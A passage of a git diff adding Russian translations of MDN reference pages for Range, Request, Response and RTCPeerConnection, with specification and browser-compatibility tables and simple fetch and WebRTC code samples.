Returns a list of {{ domxref("ClientRect") }} objects that aggregates the results of {{ domxref("Element.getClientRects()") }} for all the elements in the Range.
+
{{ domxref("Range.intersectsNode()")}} {{experimental_inline}}
+
Возвращает boolean указывающий, пересекает ли данный узел Range.
+
{{ domxref("Range.isPointInRange()")}} {{experimental_inline}}
+
Returns a boolean indicating whether the given point is in the Range.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-range', 'Range')}}{{Spec2('DOM WHATWG')}}Do not use RangeException anymore, use DOMException instead.
+ Made the second parameter of collapse() optional.
+ Added the methods isPointInRange(), comparePoint(), and intersectsNode().
+ Added the constructor Range().
{{SpecName('DOM Parsing', '#extensions-to-the-range-interface', 'Extensions to Range')}}{{Spec2('DOM Parsing')}}Added the method createContextualFragment().
{{SpecName('CSSOM View', '#extensions-to-the-range-interface', 'Extensions to Range')}}{{Spec2('CSSOM View')}}Added the methods getClientRects() and getBoundingClientRect().
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-Interface', 'Range')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}} [1]9.09.0{{CompatVersionUnknown}}
Range() constructor {{experimental_inline}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("24.0")}}{{CompatNo}}15.0{{CompatVersionUnknown}}
compareNode() {{obsolete_inline}}{{non-standard_inline()}}{{CompatNo}}{{CompatGeckoDesktop("1.0")}}
+ Removed in {{CompatGeckoDesktop("1.9")}}		{{CompatNo}}{{CompatNo}}{{CompatNo}}
isPointInRange(), and comparePoint(){{experimental_inline}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}15.0{{CompatUnknown}}
intersectsNode() {{experimental_inline}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("17.0")}} [2]{{CompatNo}}15.0{{CompatUnknown}}
getClientRects() and getBoundingClientRect(){{experimental_inline}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}915.05
createContextualFragment(){{experimental_inline}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}15.0{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}} [1]9.09.0{{CompatVersionUnknown}}
+
+ +

[1] Starting with Gecko 13.0 {{ geckoRelease("13.0") }} the Range object throws a {{ domxref("DOMException") }} as defined in DOM 4, instead of a RangeException defined in prior specifications.

+ +

[2] Gecko supported it up to Gecko 1.9, then removed it until Gecko 17 where it was reimplemented, matching the spec.

+ +

See also

+ + diff --git a/files/ru/web/api/range/surroundcontents/index.html b/files/ru/web/api/range/surroundcontents/index.html new file mode 100644 index 0000000000..fd9e2d515a --- /dev/null +++ b/files/ru/web/api/range/surroundcontents/index.html @@ -0,0 +1,113 @@ +--- +title: Range.surroundContents() +slug: Web/API/Range/surroundContents +translation_of: Web/API/Range/surroundContents +--- +
{{ApiRef("DOM")}}
+ +

Метод Range.surroundContents() перемещает содержимое {{ domxref("Range") }} в новый элемент, который расположится в начале указанного диапазона.

+ +

Этот медод приблизительно эквивалентен коду newNode.appendChild(range.extractContents()); range.insertNode(newNode). После его работы крайние точки диапазона будут включать в себя newNode.

+ +

Если {{ domxref("Range") }} разделяет любой не текстовый элемент хотя бы одной точкой, произойдет исключение. В отличие от альтернативы выше, если в диапазоне есть частично выделенные элементы, они не будут клонированы, а вместо этого произовдет ошибка.

+ +

Синтаксис

+ +
range.surroundContents(newNode);
+
+ +

Параметры

+ +
+
newNode
+
Элемент который будет содержать в себе выделенный текст. 
+
+ +

Пример

+ +
var range = document.createRange();
+var newNode = document.createElement("p");
+
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.surroundContents(newNode);
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-range-surroundcontents', 'Range.surroundContents()')}}{{Spec2('DOM WHATWG')}}Без изменений.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-surroundContents', 'Range.surroundContents()')}}{{Spec2('DOM2 Traversal_Range')}}Начальная спецификация.
+ +

Совместимость

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}} [1]9.09.0{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}} [1]9.09.0{{CompatVersionUnknown}}
+
+ +

[1] Firefox до версии 1.5, содержит ошибку, которая не позволяет отработать Range.surroundContents если начало и конец диапазона являются одним текстовым элементом ({{bug(135928)}}).

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/renderingcontext/index.html b/files/ru/web/api/renderingcontext/index.html new file mode 100644 index 0000000000..041ac640a7 --- /dev/null +++ b/files/ru/web/api/renderingcontext/index.html @@ -0,0 +1,40 @@ +--- +title: RenderingContext +slug: Web/API/RenderingContext +translation_of: Web/API/RenderingContext +--- +

{{APIRef("Canvas API")}}

+ +

RenderingContext - это WebIDL typedef который ссылается на один из интерфейсов, представляющие собой графический контекст внутри элемента <canvas>: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}}, а так же {{domxref("WebGL2RenderingContext")}}

+ +

Используя RenderingContext, методы и поля которого могут использоваться любыми из этих интерфейсов могут быть перезаписаны в более простой форме; с тех пор, как <canvas> поддерживает несколько систем прорисовки контекста, это полезная форма спецификации, в буквальном смысле обозначающая "один из интерфейсов"

+ +

В любом случае, RenderingContext - просто общее название и оно не является тем, что в основном используют веб-разработчики. Не существует интерфейса RenderingContext как такого и нет классов, наследуемых от него.

+ +

Для получения RenderingContext из веб-элемента <canvas> используется метод {{domxref("HTMLCanvasElement.getContext()")}}, возвращающий "один из интерфейсов"

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Внутреннее объявление.
+ +

Связанное с этим

+ + diff --git a/files/ru/web/api/request/index.html b/files/ru/web/api/request/index.html new file mode 100644 index 0000000000..500b80cf55 --- /dev/null +++ b/files/ru/web/api/request/index.html @@ -0,0 +1,175 @@ +--- +title: Request +slug: Web/API/Request +tags: + - API + - Fetch + - Fetch API + - Interface + - NeedsTranslation + - Networking + - Reference + - TopicStub + - request +translation_of: Web/API/Request +--- +
{{APIRef("Fetch")}}
+ +

Интерфейс Request из Fetch API является запросом ресурсов или данных.

+ +

Создать новый объект Request можно, используя конструктор {{domxref("Request.Request","Request()")}}, однако чаще всего встречается способ возврата объекта Request , как результат операции API. Например такой как service worker {{domxref("FetchEvent.request")}}.

+ +

Конструктор

+ +
+
{{domxref("Request.Request","Request()")}}
+
Создаёт новый Request объект.
+
+ +

Параметры

+ +
+
{{domxref("Request.cache")}} {{readonlyInline}}
+
Содержит кэшированное состояние запроса (напр., default, reload, no-cache).
+
{{domxref("Request.context")}} {{readonlyInline}} {{deprecated_inline()}}
+
Содержит контекст запроса (напр., audio, image, iframe, итд.)
+
{{domxref("Request.credentials")}} {{readonlyInline}}
+
Содержит данные идентификации запроса (напр., "omit", "same-origin", "include"). Значение по умолчанию: "same-origin".
+
{{domxref("Request.destination")}} {{ReadOnlyInline}}
+
Возвращает строку из {{domxref("RequestDestination")}} enum, описывая назначение запроса. Это строка, указывающая тип запрошенных данных.
+
{{domxref("Request.headers")}} {{readonlyInline}}
+
Содержит назначенный {{domxref("Headers")}} объект запроса (заголовки).
+
{{domxref("Request.integrity")}} {{readonlyInline}}
+
Содержит "subresource integrity" значение запроса (напр., sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=).
+
{{domxref("Request.method")}} {{readonlyInline}}
+
Содержит метод запроса (GET, POST, и т.д.)
+
{{domxref("Request.mode")}} {{readonlyInline}}
+
Содержит режим запроса (напр., cors, no-cors, same-origin, navigate.)
+
{{domxref("Request.redirect")}} {{readonlyinline}}
+
Содержит режим перенаправления. Может быть одним из следующих: follow, error, или manual.
+
{{domxref("Request.referrer")}} {{readonlyInline}}
+
Содержит значение "referrer" ("ссылающийся") запроса (например., client).
+
{{domxref("Request.referrerPolicy")}} {{readonlyInline}}
+
Содержит политику "ссылающегося" данного запроса (e.g., no-referrer).
+
{{domxref("Request.url")}} {{readonlyInline}}
+
Содержит URL запроса.
+
+ +

Request имплементирует {{domxref("Body")}}, таким образом наследуя следующие параметры:

+ +
+
{{domxref("Body.body", "body")}} {{readonlyInline}}
+
Простой getter используемый для раскрытия {{domxref("ReadableStream")}} "тела" (body) содержимого.
+
{{domxref("Body.bodyUsed", "bodyUsed")}} {{readonlyInline}}
+
Хранит {{domxref("Boolean")}}, декларирующее использовалось ли "тело" ранее в ответе.
+
+ +

Методы

+ +
+
{{domxref("Request.clone()")}}
+
Создаёт копию текущего Request объекта.
+
+ +

Request имплементирует {{domxref("Body")}}, таким образом наследуя следующие параметры:

+ +
+
{{domxref("Body.arrayBuffer()")}}
+
Возвращает promise ("обещание") которое выполняется, возвращая {{domxref("ArrayBuffer")}} репрезентацию тела запроса.
+
{{domxref("Body.blob()")}}
+
Возвращает promise 
+
{{domxref("Body.formData()")}}
+
Возвращает promise который разрешается с помощью {{domxref("FormData")}} представления тела запроса.
+
{{domxref("Body.json()")}}
+
Returns a promise that resolves with a {{domxref("JSON")}} representation of the request body.
+
{{domxref("Body.text()")}}
+
Returns a promise that resolves with an {{domxref("USVString")}} (text) representation of the request body.
+
+ +
+

Note: The {{domxref("Body")}} functions can be run only once; subsequent calls will resolve with empty strings/ArrayBuffers.

+
+ +

Examples

+ +

In the following snippet, we create a new request using the Request() constructor (for an image file in the same directory as the script), then return some property values of the request:

+ +
const request = new Request('https://www.mozilla.org/favicon.ico');
+
+const URL = request.url;
+const method = request.method;
+const credentials = request.credentials;
+
+ +

You could then fetch this request by passing the Request object in as a parameter to a {{domxref("WindowOrWorkerGlobalScope.fetch()")}} call, for example:

+ +
fetch(request)
+  .then(response => response.blob())
+  .then(blob => {
+    image.src = URL.createObjectURL(blob);
+  });
+ +

In the following snippet, we create a new request using the Request() constructor with some initial data and body content for an api request which need a body payload:

+ +
const request = new Request('https://example.com', {method: 'POST', body: '{"foo": "bar"}'});
+
+const URL = request.url;
+const method = request.method;
+const credentials = request.credentials;
+const bodyUsed = request.bodyUsed;
+
+ +
+

Примечание: Типом тела может быть только {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}} или {{domxref("ReadableStream")}} поэтому, для добавления объекта JSON в полезную нагрузку вам необходимо структуировать этот объект.

+
+ + + +

Вы можете получить этот запрос API, передав объект Request в качестве параметра для вызова {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, например, и получить ответ:

+ +
fetch(request)
+  .then(response => {
+    if (response.status === 200) {
+      return response.json();
+    } else {
+      throw new Error('Что-то пошло не так на API сервере.');
+    }
+  })
+  .then(response => {
+    console.debug(response);
+    // ...
+  }).catch(error => {
+    console.error(error);
+  });
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#request-class','Request')}}{{Spec2('Fetch')}}Начальное
+ определение
+ +

Browser compatibility

+ + + +

{{Compat("api.Request")}}

+ +

Читай также

+ + diff --git a/files/ru/web/api/request/mode/index.html b/files/ru/web/api/request/mode/index.html new file mode 100644 index 0000000000..335261f175 --- /dev/null +++ b/files/ru/web/api/request/mode/index.html @@ -0,0 +1,78 @@ +--- +title: Request.mode +slug: Web/API/Request/mode +translation_of: Web/API/Request/mode +--- +
{{APIRef("Fetch")}}
+ +
+ +

Read-only свойство mode интерфейса {{domxref("Request")}} описывает режим запроса (например, cors, no-cors, same-origin или navigate.) Используется для проверки, вызывает ли кросс-доменный запрос корректный ответ, и какие свойства ответа доступны для чтения.

+ +

Синтаксис

+ +
var myMode = request.mode;
+ +

Значения

+ +
+
+

Значения RequestMode.

+
+
+

Соотвествующие доступные значения:

+ +
    +
  • same-origin — Если запрос сделан к другому origin в этом режиме, то это вызовет ошибку. Можно использовать этот режим, чтобы проверить, что запрос всегда будет обращён к тому же origin, что  и текущий.
    • +
  • no-cors — Разрешает использование только HEAD, GET или POST методов и простых заголовков (т.е. разрешены только простые запросы). Если какой-либо ServiceWorkers перехватит запрос, то он не сможет добавить или изменить заголовки, кроме простых. Также, для JavaScript может быть ограничен доступ к любому свойству объекта ответа {{domxref("Response")}}. Это позволяет наверняка знать, что ServiceWorkers не изменили семантику и предотвратить проблемы безопасности и конфиденциальности, возникающие при утечке данных между доменами.
    • +
  • cors — Разрешает кросс-доменные запросы. Например, чтобы получить доступ к некому API, предоставляемое третей стороной. Ожидается, что запрос в этом режиме будет придерживаться CORS протокола. В объекте ответа {{domxref("Response")}} доступен ограниченный набор заголовков, но тело доступно для чтения.
    • +
  • navigate — Режим, поддерживающий навигацию. Значение navigate предназначено только для использования в HTML навигации. Запрос в этом режиме создаётся только во время навигации между страницами.
    • +
+
+
+ +

Default mode

+ +

Запрос может быть создан разными способами и режим запроса зависит от конкретных средств, с помощью которых он был инициирован.

+ +

Например, когда объект Request создаётся с помощью конструктора {{domxref("Request.Request")}}, свойство mode этого Request будет иметь значение cors.

+ +

Однако, запросы созданные не конструктором {{domxref("Request.Request")}}, будут использовать режим no-cors. Например, для встроенных ресурсов, где запрос инициируется из разметки, если отсуствует атрибут crossorigin, то запрос в большинстве случаев будет выполнен в режиме no-cors — то есть для элементов {{HTMLElement("link")}} или {{HTMLElement("script")}} (кроме использования с модулями), или {{HTMLElement("img")}}, {{HTMLElement("audio")}}, {{HTMLElement("video")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, или {{HTMLElement("iframe")}}.

+ +

Пример

+ +

В этой части кода создаётся новый запрос (для взятия файла картинки) через конструктор {{domxref("Request.Request()")}}, затем полученный режим сохраняется в переменной:

+ +
var myRequest = new Request('flowers.jpg');
+var myMode = myRequest.mode; // вернёт "cors" по умолчанию
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-request-mode', 'mode')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Request.mode")}}

+ +

See also

+ + diff --git a/files/ru/web/api/response/index.html b/files/ru/web/api/response/index.html new file mode 100644 index 0000000000..25726a3f0a --- /dev/null +++ b/files/ru/web/api/response/index.html @@ -0,0 +1,159 @@ +--- +title: Response +slug: Web/API/Response +tags: + - API + - Fetch + - Fetch API + - Interface + - Reference + - Response +translation_of: Web/API/Response +--- +
{{APIRef("Fetch API")}}
+ +

Интерфейс Response из Fetch API представляет собой ответ на запрос.

+ +

Вы можете создать новый экземпляр объекта Response используя конструктор {{domxref("Response.Response()")}}, но скорее всего вы столкнетесь с объектом Response, как результат какой-нибудь API операции — например, service worker {{domxref("Fetchevent.respondWith")}}, или {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.

+ +

Конструктор

+ +
+
{{domxref("Response.Response","Response()")}}
+
Создаёт новый экземпляр объекта Response.
+
+ +

Свойства

+ +
+
{{domxref("Response.headers")}} {{readonlyinline}}
+
Объект {{domxref("Headers")}}, который описывает заголовок ответа.
+
{{domxref("Response.ok")}} {{readonlyinline}}
+
Булевское значение, которое указывает, выполнился ли запрос успешно или нет (то есть находится ли код ответа в диапозоне 200–299).
+
{{domxref("Response.redirected")}} {{ReadOnlyInline}}
+
Указывает, является ли результат запроса перенаправлением.
+
{{domxref("Response.status")}} {{readonlyinline}}
+
Код ответа.
+
{{domxref("Response.statusText")}} {{readonlyinline}}
+
Строка, соответствующая коду ответа (например, OK для кода 200).
+
{{domxref("Response.trailers")}}
+
A {{domxref("Promise")}} resolving to a {{domxref("Headers")}} object, associated with the response with {{domxref("Response.headers")}} for values of the HTTP {{HTTPHeader("Trailer")}} header.
+
{{domxref("Response.type")}} {{readonlyinline}}
+
The type of the response (e.g., basic, cors).
+
{{domxref("Response.url")}} {{readonlyinline}}
+
The URL of the response.
+
{{domxref("Response.useFinalURL")}}
+
A boolean indicating whether this is the final URL of the response.
+
+ +

Body Interface Properties

+ +

Response implements {{domxref("Body")}}, so it also has the following properties available to it:

+ +
+
{{domxref("Body.body")}} {{readonlyInline}}
+
A simple getter exposing a {{domxref("ReadableStream")}} of the body contents.
+
{{domxref("Body.bodyUsed")}} {{readonlyInline}}
+
Stores a {{domxref("Boolean")}} that declares whether the body has been used in a response yet.
+
+ +

Методы

+ +
+
{{domxref("Response.clone()")}}
+
Creates a clone of a Response object.
+
{{domxref("Response.error()")}}
+
Returns a new Response object associated with a network error.
+
{{domxref("Response.redirect()")}}
+
Creates a new response with a different URL.
+
+ +

Body Interface Methods

+ +

Response implements {{domxref("Body")}}, so it also has the following methods available to it:

+ +
+
{{domxref("Body.arrayBuffer()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.
+
{{domxref("Body.blob()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.
+
{{domxref("Body.formData()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.
+
{{domxref("Body.json()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}, which is a JavaScript value of datatype object, string, etc.
+
{{domxref("Body.text()")}}
+
Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text).
+
+ +

Примеры

+ +

Fetching an image

+ +

In our basic fetch example (run example live) we use a simple fetch() call to grab an image and display it in an {{htmlelement("img")}} element. The fetch() call returns a promise, which resolves to the Response object associated with the resource fetch operation.

+ +

You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob")}} ({{domxref("Response")}} implements Body) to give the response its correct MIME type.

+ +
const image = document.querySelector('.my-image');
+fetch('flowers.jpg').then(function(response) {
+  return response.blob();
+}).then(function(blob) {
+  const objectURL = URL.createObjectURL(blob);
+  image.src = objectURL;
+});
+ +

You can also use the {{domxref("Response.Response()")}} constructor to create your own custom Response object:

+ +
const response = new Response();
+ +

Ajax запрос

+ +

Здесь мы с помощью функции doAjax вызываем PHP скрипт, который генерирует JSON строку, и возвращает распарсенный JSON в виде JavaScript объекта. Также реализована простая обработка ошибок.

+ +
// Функция, которая делает Ajax запрос
+const doAjax = async () => {
+    const response = await fetch('Ajax.php'); // Генерируем объект Response
+    if (response.ok) {
+        const jVal = await response.json(); // Парсим тело ответа
+        return Promise.resolve(jVal);
+        }
+    else
+        return Promise.reject('*** PHP file not found');
+    }
+}
+
+// Вызываем doAjax и выводим результат в консоль
+doAjax().then(console.log).catch(console.log);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#response-class','Response')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Response")}}

+ +

See also

+ + diff --git a/files/ru/web/api/response/response/index.html b/files/ru/web/api/response/response/index.html new file mode 100644 index 0000000000..6a6b37cfe1 --- /dev/null +++ b/files/ru/web/api/response/response/index.html @@ -0,0 +1,81 @@ +--- +title: Response() +slug: Web/API/Response/Response +tags: + - API + - Constructor + - Fetch + - Reference + - Response +translation_of: Web/API/Response/Response +--- +
{{APIRef("Fetch")}}
+ +

Конструктор Response() создаёт новый объект {{domxref("Response")}}.

+ +

Синтаксис

+ +
var myResponse = new Response(body, init);
+ +

Параметры

+ +
+
body {{optional_inline}}
+
Объект, который определяет тело запроса. Может быть null (является значением по-умолчанию), или: +
    +
  • {{domxref("Blob")}}
    • +
  • {{domxref("BufferSource")}}
    • +
  • {{domxref("FormData")}}
    • +
  • {{domxref("ReadableStream")}}
    • +
  • {{domxref("URLSearchParams")}}
    • +
  • {{domxref("USVString")}}
    • +
+
+
init {{optional_inline}}
+
An options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value). The possible options are: +
    +
  • status: The status code for the reponse, e.g., 200.
    • +
  • statusText: The status message associated with the status code, e.g., OK.
    • +
  • headers: Any headers you want to add to your response, contained within a {{domxref("Headers")}} object or object literal of {{domxref("ByteString")}} key/value pairs (see HTTP headers for a reference).
    • +
+
+
+ +

Примеры

+ +

In our Fetch Response example (see Fetch Response live) we create a new Response object using the constructor, passing it a new {{domxref("Blob")}} as a body, and an init object containing a custom status and statusText:

+ +
var myBlob = new Blob();
+var init = { "status" : 200 , "statusText" : "SuperSmashingGreat!" };
+var myResponse = new Response(myBlob,init);
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-response','Response()')}}{{Spec2('Fetch')}}Initial definition
+ +

Совместимость в браузерах

+ + + +

{{Compat("api.Response.Response")}}

+ +

Читай также

+ + diff --git a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html new file mode 100644 index 0000000000..d1eaadc337 --- /dev/null +++ b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html @@ -0,0 +1,91 @@ +--- +title: RTCPeerConnection.canTrickleIceCandidates +slug: Web/API/RTCPeerConnection/canTrickleIceCandidates +translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates +--- +
{{APIRef("WebRTC")}}
+ +
+ +
Свойство только для чтения canTrickleIceCandidates , объекта {{domxref("RTCPeerConnection")}}, возвращает значение типа {{jsxref("Boolean")}} , которое указывает на то, может ли удаленный пир принимать кандидаты, согласно спецификации  trickled ICE candidates.
+ +

ICE trickling (ICE просачивание)  - процесс продолжающейся отправки кандидатов, после первоначальной передачи предложения или ответа удаленному пиру..

+ +

Свойство инициализируется только после вызова метода  {{domxref("RTCPeerConnection.setRemoteDescription()")}}.  Было бы идеально, если бы ваш протокол сигнализации предоставлял способ определения поддержки просачивания кандидатов, для того, что бы не полагаться на это свойство. Браузер, поддерживающий WebRTC, всегда будет поддерживать ICE просачивание.

+ +

Если оно не поддерживается, или о поддержке неизвестно, то проверив ложное значение этого свойства, необходимо подождать, пока значение свойства {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} измениться на  "completed" до создания и передачи первоначального предложения. Таким образом, отправка предложения сдерживается до сборки всех кандидатов.

+ +

Синтаксис

+ +
 var canTrickle = RTCPeerConnection.canTrickleIceCandidates;
+ +

Значение

+ +

Тип  {{jsxref("Boolean")}} содержит true , если удаленный пир может принимать просачивающие ICE кандидаты, и  false , если не может. Если удаленный пир еще не инициализирован, свойство возвращает null.

+ +
+

Примечание : Значение свойсва инициализируется после того, как локальный пир вызовет метод {{domxref("RTCPeerConnection.setRemoteDescription()")}};  Возвращаемый объект описания используется агентом ICE для определения возможности удаленного пира поддерживать просачивающихся  ICE кандидатов.

+
+ +

Пример

+ +
var pc = new RTCPeerConnection();
+// Следующий код может быть использован для обработки предложения от пира, когда
+// он не знает поддерживает ли он просачивание
+pc.setRemoteDescription(remoteOffer)
+  .then(_ => pc.createAnswer())
+  .then(answer => pc.setLocalDescription(answer))
+  .then(_ =>
+    if (pc.canTrickleIceCandidates) {
+      return pc.localDescription;
+    }
+    return new Promise(r => {
+      pc.addEventListener('icegatheringstatechange', e => {
+        if (e.target.iceGatheringState === 'complete') {
+          r(pc.localDescription);
+        }
+      });
+    });
+  })
+  .then(answer => sendAnswerToPeer(answer)) // сигнальное сообщение
+  .catch(e => handleError(e));
+
+pc.addEventListener('icecandidate', e => {
+  if (pc.canTrickleIceCandidates) {
+    sendCandidateToPeer(e.candidate); // сигнальное сообщение
+  }
+});
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-cantrickleicecandidates', 'RTCPeerConnection.canTrickleIceCandidates') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.RTCPeerConnection.canTrickleIceCandidates")}}

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/rtcpeerconnection/connectionstate/index.html b/files/ru/web/api/rtcpeerconnection/connectionstate/index.html new file mode 100644 index 0000000000..2b17b9b29e --- /dev/null +++ b/files/ru/web/api/rtcpeerconnection/connectionstate/index.html @@ -0,0 +1,62 @@ +--- +title: RTCPeerConnection.connectionState +slug: Web/API/RTCPeerConnection/connectionState +translation_of: Web/API/RTCPeerConnection/connectionState +--- +

{{APIRef("WebRTC")}}

+ +

Только для чтения свойство  connectionState интерфейса {{domxref("RTCPeerConnection")}} указывает на текущее состояние соединения, возвращая одно из строковых значений, определяемых в перечислении RTCPeerConnectionState.

+ +

Когда значение свойство изменяется, возникает событие   {{event("connectionstatechange")}} на объекте интерфейса {{domxref("RTCPeerConnection")}} .

+ +

Синтаксис

+ +
var connectionState = RTCPeerConnection.connectionState;
+ +

Значение

+ +

Текущий статус соединения представлен одним из значений перечисления  RTCPeerConnectionState.

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCPeerConnectionState enum", 0, 1)}}

+ +

Пример

+ +
var pc = new RTCPeerConnection(configuration);
+
+/* ... */
+
+var connectionState = pc.connectionState;
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('WebRTC 1.0', '#dom-peerconnection-connection-state', 'RTCPeerConnection.connectionState') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.RTCPeerConnection.connectionState")}}

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html new file mode 100644 index 0000000000..b0ddb77eb3 --- /dev/null +++ b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html @@ -0,0 +1,76 @@ +--- +title: RTCPeerConnection.currentLocalDescription +slug: Web/API/RTCPeerConnection/currentLocalDescription +translation_of: Web/API/RTCPeerConnection/currentLocalDescription +--- +

{{WebRTCSidebar}} 

+ +

Только для чтения свойство  RTCPeerConnection.currentLocalDescription возвращает объект  {{domxref("RTCSessionDescription")}} , описывающий локальную сторону соединения, как  самый последний, удачно согласованный объект описания, с момента последнего завершения согласования  {{domxref("RTCPeerConnection")}} и соединения с удаленным пиром (участником соединения) . 

+ +

Для изменения currentLocalDescription, вызовите метод {{domxref("RTCPeerConnection.setLocalDescription()")}}, который запускает серию событий, приводящих к присвоению значения. Более подробно о том, что точно происходит и почему изменения происходят не сразу, смотрите   {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.

+ +
+

В отличие от  {{domxref("RTCPeerConnection.localDescription")}}, это значение представляет актуальный, текущий статус локальной стороны соединения; localDescription может устанавливать описание, на которое соединение находится в процессе перехода.

+
+ +

Синтаксис

+ +
sessionDescription = RTCPeerConnection.currentLocalDescription;
+ +

Возвращаемое значение

+ +

Текущий объект описания локальной стороны соединения. Если установка значения не удалась, значением станет null.

+ +

Пример

+ +

В этом примере рассматривается свойство currentLocalDescription  и отображается предупреждение, содержащее свойства объекта {{domxref("RTCSessionDescription")}}  type и sdp .

+ +
var pc = new RTCPeerConnection();
+…
+var sd = pc.currentLocalDescription;
+if (sd) {
+  alert("Локальная сессия: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("Локальной сессии еще нет.");
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('WebRTC 1.0', '#dom-peerconnection-currentlocaldesc', 'RTCPeerConnection.currentLocalDescription') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.RTCPeerConnection.currentLocalDescription")}}

+ +
+

The addition of currentLocalDescription and {{domxref("RTCPeerConnection.pendingLocalDescription", "pendingLocalDescription")}} to the WebRTC spec is relatively recent. In browsers which don't support them, just use {{domxref("RTCPeerConnection.localDescription", "localDescription")}}.

+
+ +

See also

+ + diff --git a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html new file mode 100644 index 0000000000..52aa9ccd2c --- /dev/null +++ b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html @@ -0,0 +1,72 @@ +--- +title: RTCPeerConnection.currentRemoteDescription +slug: Web/API/RTCPeerConnection/currentRemoteDescription +translation_of: Web/API/RTCPeerConnection/currentRemoteDescription +--- +

{{WebRTCSidebar}}

+ +

Только для чтения свойство RTCPeerConnection.currentRemoteDescription возвращает объект  {{domxref("RTCSessionDescription")}} , представляющий удаленную сторону соединения, как последний, успешно согласованный объект данных, с момента завершения согласования и установки соединения объектом {{domxref("RTCPeerConnection")}} с удаленным пиром. 

+ +

